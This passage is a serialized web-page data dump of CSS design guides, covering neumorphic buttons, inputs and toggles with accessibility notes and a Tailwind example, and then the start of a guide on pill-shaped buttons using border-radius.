-6",[1560,70873,1670],{"class":1669},[1560,70875,19321],{"class":1576},[1560,70877,1670],{"class":1669},[1560,70879,70517],{"class":1576},[1560,70881,2228],{"class":1570},[1560,70883,70884,70886,70888,70890,70892,70894],{"class":1562,"line":2529},[1560,70885,18718],{"class":1576},[1560,70887,18721],{"class":1570},[1560,70889,19693],{"class":1576},[1560,70891,18727],{"class":1669},[1560,70893,18730],{"class":1576},[1560,70895,2228],{"class":1570},[1560,70897,70898],{"class":1562,"line":2534},[1560,70899,1585],{"class":1570},[1560,70901,70902],{"class":1562,"line":2542},[1560,70903,1702],{"emptyLinePlaceholder":363},[1560,70905,70906,70909],{"class":1562,"line":2558},[1560,70907,70908],{"class":1566},".neu-button:active",[1560,70910,1571],{"class":1570},[1560,70912,70913,70915],{"class":1562,"line":2570},[1560,70914,18679],{"class":1576},[1560,70916,19182],{"class":1570},[1560,70918,70919,70921,70923,70925,70927,70929,70931,70933,70935],{"class":1562,"line":6638},[1560,70920,48484],{"class":1576},[1560,70922,13574],{"class":1576},[1560,70924,1670],{"class":1669},[1560,70926,13574],{"class":1576},[1560,70928,1670],{"class":1669},[1560,70930,13490],{"class":1576},[1560,70932,1670],{"class":1669},[1560,70934,70492],{"class":1576},[1560,70936,11943],{"class":1570},[1560,70938,70939,70941,70944,70946,70948,70950,70952,70954,70956],{"class":1562,"line":11615},[1560,70940,48484],{"class":1576},[1560,70942,70943],{"class":1576}," -4",[1560,70945,1670],{"class":1669},[1560,70947,70943],{"class":1576},[1560,70949,1670],{"class":1669},[1560,70951,13490],{"class":1576},[1560,70953,1670],{"class":1669},[1560,70955,70517],{"class":1576},[1560,70957,2228],{"class":1570},[1560,70959,70960],{"class":1562,"line":11621},[1560,70961,1585],{"class":1570},[33,70963,70965],{"id":70964},"neumorphic-input-field","Neumorphic Input Field",[135,70967,70969],{"className":1554,"code":70968,"language":1556,"meta":141,"style":141},".neu-input {\n  background: #e0e0e0;\n  border: none;\n  border-radius: 12px;\n  padding: 12px 16px;\n  font-size: 1rem;\n  box-shadow:\n    inset 4px 4px 8px #bebebe,\n    inset -4px -4px 8px #ffffff;\n}\n\n.neu-input:focus {\n  outline: none;\n  box-shadow:\n    inset 4px 4px 8px #bebebe,\n    inset -4px -4px 8px #ffffff,\n    0 0 0 2px rgba(100, 100, 255, 0.3);\n}\n",[143,70970,70971,70978,70988,70998,71010,71026,71038,71044,71064,71084,71088,71092,71099,71110,71116,71136,71156,71188],{"__ignoreMap":141},[1560,70972,70973,70976],{"class":1562,"line":1563},[1560,70974,70975],{"class":1566},".neu-input",[1560,70977,1571],{"class":1570},[1560,70979,70980,70982,70984,70986],{"class":1562,"line":337},[1560,70981,5665],{"class":1576},[1560,70983,1663],{"class":1570},[1560,70985,70454],{"class":1576},[1560,70987,2228],{"class":1570},[1560,70989,70990,70992,70994,70996],{"class":1562,"line":343},[1560,70991,3580],{"class":1576},[1560,70993,1663],{"class":1570},[1560,70995,24609],{"class":1576},[1560,70997,2228],{"class":1570},[1560,70999,71000,71002,71004,71006,71008],{"class":1562,"line":365},[1560,71001,17294],{"class":1576},[1560,71003,1663],{"class":1570},[1560,71005,13566],{"class":1576},[1560,71007,1670],{"class":1669},[1560,71009,2228],{"class":1570},[1560,71011,71012,71014,71016,71018,71020,71022,71024],{"class":1562,"line":889},[1560,71013,18186],{"class":1576},[1560,71015,1663],{"class":1570},[1560,71017,13566],{"class":1576},[1560,71019,1670],{"class":1669},[1560,71021,19024],{"class":1576},[1560,71023,1670],{"class":1669},[1560,71025,2228],{"class":1570},[1560,71027,71028,71030,71032,71034,71036],{"class":1562,"line":1710},[1560,71029,33414],{"class":1576},[1560,71031,1663],{"class":1570},[1560,71033,3585],{"class":1576},[1560,71035,32215],{"class":1669},[1560,71037,2228],{"class":1570},[1560,71039,71040,71042],{"class":1562,"line":1717},[1560,71041,18679],{"class":1576},[1560,71043,19182],{"class":1570},[1560,71045,71046,71048,71050,71052,71054,71056,71058,71060,71062],{"class":1562,"line":1747},[1560,71047,48484],{"class":1576},[1560,71049,13574],{"class":1576},[1560,71051,1670],{"class":1669},[1560,71053,13574],{"class":1576},[1560,71055,1670],{"class":1669},[1560,71057,13490],{"class":1576},[1560,71059,1670],{"class":1669},[1560,71061,70492],{"class":1576},[1560,71063,11943],{"class":1570},[1560,71065,71066,71068,71070,71072,71074,71076,71078,71080,71082],{"class":1562,"line":2507},[1560,71067,48484],{"class":1576},[1560,71069,70943],{"class":1576},[1560,71071,1670],{"class":1669},[1560,71073,70943],{"class":1576},[1560,71075,1670],{"class":1669},[1560,71077,13490],{"class":1576},[1560,71079,1670],{"class":1669},[1560,71081,70517],{"class":1576},[1560,71083,2228],{"class":1570},[1560,71085,71086],{"class":1562,"line":2524},[1560,71087,1585],{"class":1570},[1560,71089,71090],{"class":1562,"line":2529},[1560,71091,1702],{"emptyLinePlaceholder":363},[1560,71093,71094,71097],{"class":1562,"line":2534},[1560,71095,71096],{"class":1566},".neu-input:focus",[1560,71098,1571],{"class":1570},[1560,71100,71101,71104,71106,71108],{"class":1562,"line":2542},[1560,71102,71103],{"class":1576},"  outline",[1560,71105,1663],{"class":1570},[1560,71107,24609],{"class":1576},[1560,71109,2228],{"class":1570},[1560,71111,71112,71114],{"class":1562,"line":2558},[1560,71113,18679],{"class":1576},[1560,71115,19182],{"class":1570},[1560,71117,71118,71120,71122,71124,71126,71128,71130,71132,71134],{"class":1562,"line":2570},[1560,71119,48484],{"class":1576},[1560,71121,13574],{"class":1576},[1560,71123,1670],{"class":1669},[1560,71125,13574],{"class":1576},[1560,71127,1670],{"class":1669},[1560,71129,13490],{"class":1576},[1560,71131,1670],{"class":1669},[1560,71133,70492],{"class":1576},[1560,71135,11943],{"class":1570},[1560,71137,71138,71140,71142,71144,71146,71148,71150,71152,71154],{"class":1562,"line":6638},[1560,71139,48484],{"class":1576},[1560,71141,70943],{"class":1576},[1560,71143,1670],{"class":1669},[1560,71145,70943],{"class":1576},[1560,71147,1670],{"class":1669},[1560,71149,13490],{"class":1576},[1560,71151,1670],{"class":1669},[1560,71153,70517],{"class":1576},[1560,71155,11943],{"class":1570},[1560,71157,71158,71160,71162,71164,71166,71168,71170,71172,71174,71176,71178,71180,71182,71184,71186],{"class":1562,"line":11615},[1560,71159,19187],{"class":1576},[1560,71161,13541],{"class":1576},[1560,71163,13541],{"class":1576},[1560,71165,9426],{"class":1576},[1560,71167,1670],{"class":1669},[1560,71169,18694],{"class":1576},[1560,71171,1688],{"class":1570},[1560,71173,18114],{"class":1576},[1560,71175,1459],{"class":1570},[1560,71177,18114],{"class":1576},[1560,71179,1459],{"class":1570},[1560,71181,5400],{"class":1576},[1560,71183,1459],{"class":1570},[1560,71185,18724],{"class":1576},[1560,71187,1744],{"class":1570},[1560,71189,71190],{"class":1562,"line":11621},[1560,71191,1585],{"class":1570},[33,71193,71195],{"id":71194},"neumorphic-toggle","Neumorphic Toggle",[135,71197,71199],{"className":1554,"code":71198,"language":1556,"meta":141,"style":141},".neu-toggle {\n  width: 60px;\n  height: 30px;\n  background: #e0e0e0;\n  border-radius: 15px;\n  box-shadow:\n    inset 4px 4px 8px #bebebe,\n    inset -4px -4px 8px #ffffff;\n  position: relative;\n  cursor: pointer;\n}\n\n.neu-toggle::after {\n  content: '';\n  position: absolute;\n  width: 24px;\n  height: 24px;\n  top: 3px;\n  left: 3px;\n  background: #e0e0e0;\n  border-radius: 50%;\n  box-shadow:\n    3px 3px 6px #bebebe,\n    -3px -3px 6px #ffffff;\n  transition: transform 0.2s ease;\n}\n\n.neu-toggle.active::after {\n  transform: translateX(30px);\n  background: #a78bfa;\n}\n",[143,71200,71201,71208,71220,71232,71242,71254,71260,71280,71300,71310,71320,71324,71328,71335,71345,71355,71367,71379,71391,71403,71413,71425,71431,71450,71470,71484,71488,71492,71499,71516,71527],{"__ignoreMap":141},[1560,71202,71203,71206],{"class":1562,"line":1563},[1560,71204,71205],{"class":1566},".neu-toggle",[1560,71207,1571],{"class":1570},[1560,71209,71210,71212,71214,71216,71218],{"class":1562,"line":337},[1560,71211,12386],{"class":1576},[1560,71213,1663],{"class":1570},[1560,71215,18333],{"class":1576},[1560,71217,1670],{"class":1669},[1560,71219,2228],{"class":1570},[1560,71221,71222,71224,71226,71228,71230],{"class":1562,"line":343},[1560,71223,12400],{"class":1576},[1560,71225,1663],{"class":1570},[1560,71227,23995],{"class":1576},[1560,71229,1670],{"class":1669},[1560,71231,2228],{"class":1570},[1560,71233,71234,71236,71238,71240],{"class":1562,"line":365},[1560,71235,5665],{"class":1576},[1560,71237,1663],{"class":1570},[1560,71239,70454],{"class":1576},[1560,71241,2228],{"class":1570},[1560,71243,71244,71246,71248,71250,71252],{"class":1562,"line":889},[1560,71245,17294],{"class":1576},[1560,71247,1663],{"class":1570},[1560,71249,14854],{"class":1576},[1560,71251,1670],{"class":1669},[1560,71253,2228],{"class":1570},[1560,71255,71256,71258],{"class":1562,"line":1710},[1560,71257,18679],{"class":1576},[1560,71259,19182],{"class":1570},[1560,71261,71262,71264,71266,71268,71270,71272,71274,71276,71278],{"class":1562,"line":1717},[1560,71263,48484],{"class":1576},[1560,71265,13574],{"class":1576},[1560,71267,1670],{"class":1669},[1560,71269,13574],{"class":1576},[1560,71271,1670],{"class":1669},[1560,71273,13490],{"class":1576},[1560,71275,1670],{"class":1669},[1560,71277,70492],{"class":1576},[1560,71279,11943],{"class":1570},[1560,71281,71282,71284,71286,71288,71290,71292,71294,71296,71298],{"class":1562,"line":1747},[1560,71283,48484],{"class":1576},[1560,71285,70943],{"class":1576},[1560,71287,1670],{"class":1669},[1560,71289,70943],{"class":1576},[1560,71291,1670],{"class":1669},[1560,71293,13490],{"class":1576},[1560,71295,1670],{"class":1669},[1560,71297,70517],{"class":1576},[1560,71299,2228],{"class":1570},[1560,71301,71302,71304,71306,71308],{"class":1562,"line":2507},[1560,71303,5642],{"class":1576},[1560,71305,1663],{"class":1570},[1560,71307,19549],{"class":1576},[1560,71309,2228],{"class":1570},[1560,71311,71312,71314,71316,71318],{"class":1562,"line":2524},[1560,71313,70829],{"class":1576},[1560,71315,1663],{"class":1570},[1560,71317,70834],{"class":1576},[1560,71319,2228],{"class":1570},[1560,71321,71322],{"class":1562,"line":2529},[1560,71323,1585],{"class":1570},[1560,71325,71326],{"class":1562,"line":2534},[1560,71327,1702],{"emptyLinePlaceholder":363},[1560,71329,71330,71333],{"class":1562,"line":2542},[1560,71331,71332],{"class":1566},".neu-toggle::after",[1560,71334,1571],{"class":1570},[1560,71336,71337,71339,71341,71343],{"class":1562,"line":2558},[1560,71338,5629],{"class":1576},[1560,71340,1663],{"class":1570},[1560,71342,5635],{"class":5634},[1560,71344,2228],{"class":1570},[1560,71346,71347,71349,71351,71353],{"class":1562,"line":2570},[1560,71348,5642],{"class":1576},[1560,71350,1663],{"class":1570},[1560,71352,5647],{"class":1576},[1560,71354,2228],{"class":1570},[1560,71356,71357,71359,71361,71363,71365],{"class":1562,"line":6638},[1560,71358,12386],{"class":1576},[1560,71360,1663],{"class":1570},[1560,71362,61489],{"class":1576},[1560,71364,1670],{"class":1669},[1560,71366,2228],{"class":1570},[1560,71368,71369,71371,71373,71375,71377],{"class":1562,"line":11615},[1560,71370,12400],{"class":1576},[1560,71372,1663],{"class":1570},[1560,71374,61489],{"class":1576},[1560,71376,1670],{"class":1669},[1560,71378,2228],{"class":1570},[1560,71380,71381,71383,71385,71387,71389],{"class":1562,"line":11621},[1560,71382,46848],{"class":1576},[1560,71384,1663],{"class":1570},[1560,71386,17821],{"class":1576},[1560,71388,1670],{"class":1669},[1560,71390,2228],{"class":1570},[1560,71392,71393,71395,71397,71399,71401],{"class":1562,"line":11633},[1560,71394,66384],{"class":1576},[1560,71396,1663],{"class":1570},[1560,71398,17821],{"class":1576},[1560,71400,1670],{"class":1669},[1560,71402,2228],{"class":1570},[1560,71404,71405,71407,71409,71411],{"class":1562,"line":11638},[1560,71406,5665],{"class":1576},[1560,71408,1663],{"class":1570},[1560,71410,70454],{"class":1576},[1560,71412,2228],{"class":1570},[1560,71414,71415,71417,71419,71421,71423],{"class":1562,"line":11672},[1560,71416,17294],{"class":1576},[1560,71418,1663],{"class":1570},[1560,71420,18059],{"class":1576},[1560,71422,17990],{"class":1669},[1560,71424,2228],{"class":1570},[1560,71426,71427,71429],{"class":1562,"line":19435},[1560,71428,18679],{"class":1576},[1560,71430,19182],{"class":1570},[1560,71432,71433,71436,71438,71440,71442,71444,71446,71448],{"class":1562,"line":19442},[1560,71434,71435],{"class":1576},"    3",[1560,71437,1670],{"class":1669},[1560,71439,48433],{"class":1576},[1560,71441,1670],{"class":1669},[1560,71443,43195],{"class":1576},[1560,71445,1670],{"class":1669},[1560,71447,70492],{"class":1576},[1560,71449,11943],{"class":1570},[1560,71451,71452,71455,71457,71460,71462,71464,71466,71468],{"class":1562,"line":19475},[1560,71453,71454],{"class":1576},"    -3",[1560,71456,1670],{"class":1669},[1560,71458,71459],{"class":1576}," -3",[1560,71461,1670],{"class":1669},[1560,71463,43195],{"class":1576},[1560,71465,1670],{"class":1669},[1560,71467,70517],{"class":1576},[1560,71469,2228],{"class":1570},[1560,71471,71472,71474,71476,71478,71480,71482],{"class":1562,"line":19508},[1560,71473,18718],{"class":1576},[1560,71475,19594],{"class":1570},[1560,71477,18949],{"class":1576},[1560,71479,18727],{"class":1669},[1560,71481,18730],{"class":1576},[1560,71483,2228],{"class":1570},[1560,71485,71486],{"class":1562,"line":44196},[1560,71487,1585],{"class":1570},[1560,71489,71490],{"class":1562,"line":44203},[1560,71491,1702],{"emptyLinePlaceholder":363},[1560,71493,71494,71497],{"class":1562,"line":44220},[1560,71495,71496],{"class":1566},".neu-toggle.active::after",[1560,71498,1571],{"class":1570},[1560,71500,71502,71504,71506,71508,71510,71512,71514],{"class":1562,"line":71501},29,[1560,71503,1720],{"class":1576},[1560,71505,1663],{"class":1570},[1560,71507,66401],{"class":1576},[1560,71509,1688],{"class":1570},[1560,71511,23995],{"class":1576},[1560,71513,1670],{"class":1669},[1560,71515,1744],{"class":1570},[1560,71517,71519,71521,71523,71525],{"class":1562,"line":71518},30,[1560,71520,5665],{"class":1576},[1560,71522,1663],{"class":1570},[1560,71524,45842],{"class":1576},[1560,71526,2228],{"class":1570},[1560,71528,71530],{"class":1562,"line":71529},31,[1560,71531,1585],{"class":1570},[11,71533,71535],{"id":71534},"limitations-and-accessibility","Limitations and Accessibility",[16,71537,71538],{},"Neumorphism has well-documented accessibility challenges:",[33,71540,71542],{"id":71541},"contrast-problems","Contrast Problems",[16,71544,71545],{},"Because the element's background matches the surface, text on neumorphic elements often has poor contrast. The shadows themselves are low-contrast by design.",[193,71547,71548,71560],{},[196,71549,71550],{},[199,71551,71552,71555,71557],{},[202,71553,71554],{},"Issue",[202,71556,34974],{},[202,71558,71559],{},"Mitigation",[211,71561,71562,71573,71584,71595],{},[199,71563,71564,71567,71570],{},[216,71565,71566],{},"Low text contrast",[216,71568,71569],{},"Fails WCAG AA on many backgrounds",[216,71571,71572],{},"Use dark text, ensure 4.5:1 ratio",[199,71574,71575,71578,71581],{},[216,71576,71577],{},"Shadow visibility",[216,71579,71580],{},"Shadows invisible to some users",[216,71582,71583],{},"Never rely on shadows alone for affordance",[199,71585,71586,71589,71592],{},[216,71587,71588],{},"Toggle states",[216,71590,71591],{},"Hard to distinguish pressed\u002Fraised",[216,71593,71594],{},"Add color change or icon shift",[199,71596,71597,71600,71603],{},[216,71598,71599],{},"Color blindness",[216,71601,71602],{},"Depth illusion collapses",[216,71604,71605],{},"Use labels and borders as backup",[33,71607,71609],{"id":71608},"design-guidelines-for-accessible-neumorphism","Design Guidelines for Accessible Neumorphism",[77,71611,71612,71618,71628,71634],{},[44,71613,71614,71617],{},[47,71615,71616],{},"Always meet 4.5:1 text contrast"," — even if it means using a darker text color than the aesthetic strictly wants",[44,71619,71620,71623,71624,71627],{},[47,71621,71622],{},"Add visible borders"," — a subtle ",[143,71625,71626],{},"1px solid rgba(0,0,0,0.05)"," helps define boundaries",[44,71629,71630,71633],{},[47,71631,71632],{},"Use color for state"," — don't rely solely on shadow direction (raised vs pressed) to show toggles",[44,71635,71636,71639],{},[47,71637,71638],{},"Test with high contrast mode"," — neumorphic elements should degrade gracefully when shadows are removed",[11,71641,71643],{"id":71642},"tailwind-implementation","Tailwind Implementation",[135,71645,71647],{"className":1554,"code":71646,"language":1556,"meta":141,"style":141},"\u002F* Add to tailwind.config.ts theme.extend.boxShadow *\u002F\n'neu-raised': '8px 8px 16px rgba(190,190,190,0.8), -8px -8px 16px rgba(255,255,255,0.9)',\n'neu-pressed': 'inset 8px 8px 16px rgba(190,190,190,0.8), inset -8px -8px 16px rgba(255,255,255,0.9)',\n",[143,71648,71649,71654,71674],{"__ignoreMap":141},[1560,71650,71651],{"class":1562,"line":1563},[1560,71652,71653],{"class":1649},"\u002F* Add to tailwind.config.ts theme.extend.boxShadow *\u002F\n",[1560,71655,71656,71658,71661,71664,71666,71669,71671],{"class":1562,"line":337},[1560,71657,9361],{"class":1570},[1560,71659,71660],{"class":2484},"neu-raised",[1560,71662,71663],{"class":1570},"': '8px 8px 16px rgba(190,190,190,0",[1560,71665,5168],{"class":1566},[1560,71667,71668],{"class":1570},"), -8px -8px 16px rgba(255,255,255,0",[1560,71670,68868],{"class":1566},[1560,71672,71673],{"class":1570},")',\n",[1560,71675,71676,71678,71681,71684,71686,71689,71691],{"class":1562,"line":343},[1560,71677,9361],{"class":1570},[1560,71679,71680],{"class":2484},"neu-pressed",[1560,71682,71683],{"class":1570},"': 'inset 8px 8px 16px rgba(190,190,190,0",[1560,71685,5168],{"class":1566},[1560,71687,71688],{"class":1570},"), inset -8px -8px 16px rgba(255,255,255,0",[1560,71690,68868],{"class":1566},[1560,71692,71673],{"class":1570},[135,71694,71696],{"className":6417,"code":71695,"language":6419,"meta":141,"style":141},"\u003Cbutton class=\"bg-[#e0e0e0] shadow-neu-raised rounded-xl px-6 py-3 active:shadow-neu-pressed\">\n  Click Me\n\u003C\u002Fbutton>\n",[143,71697,71698,71713,71718],{"__ignoreMap":141},[1560,71699,71700,71702,71704,71706,71708,71711],{"class":1562,"line":1563},[1560,71701,6431],{"class":1570},[1560,71703,12250],{"class":2484},[1560,71705,11423],{"class":1566},[1560,71707,7297],{"class":1570},[1560,71709,71710],{"class":5634},"\"bg-[#e0e0e0] shadow-neu-raised rounded-xl px-6 py-3 active:shadow-neu-pressed\"",[1560,71712,6441],{"class":1570},[1560,71714,71715],{"class":1562,"line":337},[1560,71716,71717],{"class":1570},"  Click Me\n",[1560,71719,71720,71722,71724],{"class":1562,"line":343},[1560,71721,11242],{"class":1570},[1560,71723,12250],{"class":2484},[1560,71725,6441],{"class":1570},[11,71727,71729],{"id":71728},"when-to-use-neumorphism","When to Use Neumorphism",[16,71731,71732],{},"Neumorphism works best in:",[41,71734,71735,71738,71741],{},[44,71736,71737],{},"Low-information-density UIs (dashboards, music players, calculators)",[44,71739,71740],{},"Settings pages with toggles and sliders",[44,71742,71743],{},"Visual showcase or portfolio sites",[16,71745,71746],{},"Avoid it for:",[41,71748,71749,71752,71755],{},[44,71750,71751],{},"High-density data tables or text-heavy pages",[44,71753,71754],{},"Forms requiring clear error states",[44,71756,71757],{},"Apps where accessibility is a hard requirement (government, healthcare)",[11,71759,321],{"id":320},[41,71761,71762,71766,71772],{},[44,71763,71764],{},[98,71765,20290],{"href":20289},[44,71767,71768],{},[98,71769,71771],{"href":71770},"\u002Fguides\u002Frealistic-css-shadows","Creating Realistic CSS Shadows",[44,71773,71774],{},[98,71775,2041],{"href":2040},[11,71777,286],{"id":285},[16,71779,71780],{},"Build neumorphic shadows interactively — tweak both light and dark shadows, adjust offset and blur, and preview raised vs pressed states in real time.",[16,71782,4531,71783],{},[98,71784,71785],{"href":20278},[47,71786,45395],{},[2043,71788,71789],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":71791},[71792,71793,71796,71797,71802,71806,71807,71808,71809],{"id":70408,"depth":337,"text":70409},{"id":70418,"depth":337,"text":70419,"children":71794},[71795],{"id":70532,"depth":343,"text":70533},{"id":70623,"depth":337,"text":70624},{"id":70746,"depth":337,"text":70747,"children":71798},[71799,71800,71801],{"id":70750,"depth":343,"text":70751},{"id":70964,"depth":343,"text":70965},{"id":71194,"depth":343,"text":71195},{"id":71534,"depth":337,"text":71535,"children":71803},[71804,71805],{"id":71541,"depth":343,"text":71542},{"id":71608,"depth":343,"text":71609},{"id":71642,"depth":337,"text":71643},{"id":71728,"depth":337,"text":71729},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How to create soft UI neumorphic effects with dual box-shadows in CSS.",{"immutable":363},"\u002Fguides\u002Fcss-neumorphism-guide",{"title":70403,"description":71810},"guides\u002Fcss-neumorphism-guide","agqDtZoCSjGaFMxbZhnrY6fAXzKDxvNuaONhDH0fZpk",{"id":71817,"title":71818,"body":71819,"date":2070,"description":72933,"extension":361,"meta":72934,"navigation":363,"path":72935,"readingTime":1710,"seo":72936,"stem":72937,"__hash__":72938},"guides\u002Fguides\u002Fcss-pill-buttons-guide.md","Creating Pill Buttons with CSS",{"type":8,"value":71820,"toc":72916},[71821,71825,71828,71831,71835,71841,71908,71923,71927,71937,71970,71974,71980,72029,72033,72037,72168,72172,72253,72278,72282,72285,72397,72401,72404,72567,72571,72574,72778,72781,72862,72864,72887,72889,72903,72905,72908,72914],[11,71822,71824],{"id":71823},"what-are-pill-buttons","What Are Pill Buttons?",[16,71826,71827],{},"Pill buttons — also called capsule buttons — are buttons with fully rounded ends, resembling a pill or capsule shape. Instead of squared-off corners, the left and right edges form complete semicircles, creating a smooth, approachable UI element.",[16,71829,71830],{},"Pill buttons have become a staple of modern web design. You'll find them in navigation bars, hero sections, call-to-action areas, and tag lists. Their rounded shape signals friendliness and interaction, making them especially popular in consumer-facing products and mobile interfaces.",[11,71832,71834],{"id":71833},"the-css-behind-pill-shapes","The CSS Behind Pill Shapes",[16,71836,71837,71838,71840],{},"Creating a pill shape is remarkably simple. The key insight: when ",[143,71839,16947],{}," is set to a value equal to or greater than half the element's height, the corners form complete semicircles.",[135,71842,71844],{"className":1554,"code":71843,"language":1556,"meta":141,"style":141},".pill-button {\n  padding: 12px 32px;\n  border-radius: 9999px; \u002F* or 50rem *\u002F\n  border: none;\n  cursor: pointer;\n}\n",[143,71845,71846,71853,71869,71884,71894,71904],{"__ignoreMap":141},[1560,71847,71848,71851],{"class":1562,"line":1563},[1560,71849,71850],{"class":1566},".pill-button",[1560,71852,1571],{"class":1570},[1560,71854,71855,71857,71859,71861,71863,71865,71867],{"class":1562,"line":337},[1560,71856,18186],{"class":1576},[1560,71858,1663],{"class":1570},[1560,71860,13566],{"class":1576},[1560,71862,1670],{"class":1669},[1560,71864,42731],{"class":1576},[1560,71866,1670],{"class":1669},[1560,71868,2228],{"class":1570},[1560,71870,71871,71873,71875,71877,71879,71881],{"class":1562,"line":343},[1560,71872,17294],{"class":1576},[1560,71874,1663],{"class":1570},[1560,71876,16895],{"class":1576},[1560,71878,1670],{"class":1669},[1560,71880,3664],{"class":1570},[1560,71882,71883],{"class":1649},"\u002F* or 50rem *\u002F\n",[1560,71885,71886,71888,71890,71892],{"class":1562,"line":365},[1560,71887,3580],{"class":1576},[1560,71889,1663],{"class":1570},[1560,71891,24609],{"class":1576},[1560,71893,2228],{"class":1570},[1560,71895,71896,71898,71900,71902],{"class":1562,"line":889},[1560,71897,70829],{"class":1576},[1560,71899,1663],{"class":1570},[1560,71901,70834],{"class":1576},[1560,71903,2228],{"class":1570},[1560,71905,71906],{"class":1562,"line":1710},[1560,71907,1585],{"class":1570},[16,71909,71910,71911,71913,71914,71916,71917,71919,71920,71922],{},"Why ",[143,71912,16808],{}," instead of calculating ",[143,71915,18012],{},"? The CSS spec caps ",[143,71918,16947],{}," at half the element's computed dimension. So ",[143,71921,16808],{}," effectively means \"as round as possible\" without you needing to know the exact height. This approach is robust — it works regardless of padding, font size, or content changes.",[33,71924,71926],{"id":71925},"tailwind-css","Tailwind CSS",[16,71928,71929,71930,71933,71934,8037],{},"Tailwind provides the ",[143,71931,71932],{},"rounded-full"," utility, which maps to ",[143,71935,71936],{},"border-radius: 9999px",[135,71938,71940],{"className":6417,"code":71939,"language":6419,"meta":141,"style":141},"\u003Cbutton class=\"px-8 py-3 rounded-full bg-blue-600 text-white\">\n  Get Started\n\u003C\u002Fbutton>\n",[143,71941,71942,71957,71962],{"__ignoreMap":141},[1560,71943,71944,71946,71948,71950,71952,71955],{"class":1562,"line":1563},[1560,71945,6431],{"class":1570},[1560,71947,12250],{"class":2484},[1560,71949,11423],{"class":1566},[1560,71951,7297],{"class":1570},[1560,71953,71954],{"class":5634},"\"px-8 py-3 rounded-full bg-blue-600 text-white\"",[1560,71956,6441],{"class":1570},[1560,71958,71959],{"class":1562,"line":337},[1560,71960,71961],{"class":1570},"  Get Started\n",[1560,71963,71964,71966,71968],{"class":1562,"line":343},[1560,71965,11242],{"class":1570},[1560,71967,12250],{"class":2484},[1560,71969,6441],{"class":1570},[33,71971,71973],{"id":71972},"the-percentage-trap","The Percentage Trap",[16,71975,71976,71977,71979],{},"A common mistake is using ",[143,71978,52966],{},". This creates an oval, not a pill — the horizontal and vertical radii scale independently based on the element's width and height. For a pill, you want the horizontal radius to be large enough to form semicircles, which percentage values handle unpredictably.",[193,71981,71982,71992],{},[196,71983,71984],{},[199,71985,71986,71988,71990],{},[202,71987,1769],{},[202,71989,36766],{},[202,71991,21086],{},[211,71993,71994,72005,72017],{},[199,71995,71996,72000,72002],{},[216,71997,71998],{},[143,71999,16808],{},[216,72001,36775],{},[216,72003,72004],{},"Capped at half-height, always semicircular",[199,72006,72007,72011,72014],{},[216,72008,72009],{},[143,72010,18012],{},[216,72012,72013],{},"Oval\u002FOdd",[216,72015,72016],{},"Horizontal radius scales with width",[199,72018,72019,72023,72026],{},[216,72020,72021],{},[143,72022,44880],{},[216,72024,72025],{},"Depends",[216,72027,72028],{},"Only works at one specific height",[11,72030,72032],{"id":72031},"pill-button-variations","Pill Button Variations",[33,72034,72036],{"id":72035},"size-variants","Size Variants",[135,72038,72040],{"className":1554,"code":72039,"language":1556,"meta":141,"style":141},".pill-sm  { padding: 6px 16px;  border-radius: 9999px; font-size: 0.875rem; }\n.pill-md  { padding: 10px 24px; border-radius: 9999px; font-size: 1rem; }\n.pill-lg  { padding: 14px 36px; border-radius: 9999px; font-size: 1.125rem; }\n",[143,72041,72042,72084,72125],{"__ignoreMap":141},[1560,72043,72044,72047,72049,72051,72053,72055,72057,72059,72061,72063,72065,72067,72069,72071,72073,72076,72078,72080,72082],{"class":1562,"line":1563},[1560,72045,72046],{"class":1566},".pill-sm",[1560,72048,36449],{"class":1570},[1560,72050,41140],{"class":1576},[1560,72052,1663],{"class":1570},[1560,72054,44593],{"class":1576},[1560,72056,1670],{"class":1669},[1560,72058,19024],{"class":1576},[1560,72060,1670],{"class":1669},[1560,72062,3409],{"class":1570},[1560,72064,16947],{"class":1576},[1560,72066,1663],{"class":1570},[1560,72068,16895],{"class":1576},[1560,72070,1670],{"class":1669},[1560,72072,3664],{"class":1570},[1560,72074,72075],{"class":1576},"font-size",[1560,72077,1663],{"class":1570},[1560,72079,33419],{"class":1576},[1560,72081,32215],{"class":1669},[1560,72083,1673],{"class":1570},[1560,72085,72086,72089,72091,72093,72095,72097,72099,72101,72103,72105,72107,72109,72111,72113,72115,72117,72119,72121,72123],{"class":1562,"line":337},[1560,72087,72088],{"class":1566},".pill-md",[1560,72090,36449],{"class":1570},[1560,72092,41140],{"class":1576},[1560,72094,1663],{"class":1570},[1560,72096,36197],{"class":1576},[1560,72098,1670],{"class":1669},[1560,72100,18193],{"class":1576},[1560,72102,1670],{"class":1669},[1560,72104,3664],{"class":1570},[1560,72106,16947],{"class":1576},[1560,72108,1663],{"class":1570},[1560,72110,16895],{"class":1576},[1560,72112,1670],{"class":1669},[1560,72114,3664],{"class":1570},[1560,72116,72075],{"class":1576},[1560,72118,1663],{"class":1570},[1560,72120,3585],{"class":1576},[1560,72122,32215],{"class":1669},[1560,72124,1673],{"class":1570},[1560,72126,72127,72130,7213